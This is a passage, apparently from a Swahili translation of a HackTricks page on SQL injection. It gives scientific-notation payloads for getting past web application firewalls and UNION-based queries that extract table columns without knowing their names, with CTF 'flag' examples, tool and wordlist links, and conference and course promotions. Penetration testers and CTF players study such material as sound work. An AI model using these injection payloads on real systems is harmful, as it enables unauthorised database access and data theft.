WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Notation ya Kitaalam ya Kupita WAF

Unaweza kupata maelezo zaidi kuhusu hila hii katika blogu ya gosecure.
Kimsingi, unaweza kutumia notation ya kisayansi kwa njia isiyotarajiwa ili kuepuka WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Kuepuka Kizuizi cha Majina ya Safu

Kwanza kabisa, tambua kwamba ikiwa swali asili na meza ambapo unataka kutoa bendera zina idadi sawa ya safu, unaweza tu kufanya: 0 UNION SELECT * FROM flag

Inawezekana kupata safu ya tatu ya meza bila kutumia jina lake kwa kutumia swali kama ifuatavyo: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, kwa hivyo katika sqlinjection hii itaonekana kama:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Au kutumia kizuizi cha koma:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Mbinu hii ilichukuliwa kutoka https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Zana za Kupitisha WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Miongozo Mingine

Orodha ya Uchunguzi wa Kuvunja Nguvu

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON ni tukio muhimu zaidi la usalama wa mtandao nchini Uhispania na moja ya muhimu zaidi barani Ulaya. Kwa kukuza maarifa ya kiufundi, mkutano huu ni mahali pa kukutana kwa wataalamu wa teknolojia na usalama wa mtandao katika kila fani.

{% embed url="https://www.rootedcon.com/" %}

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!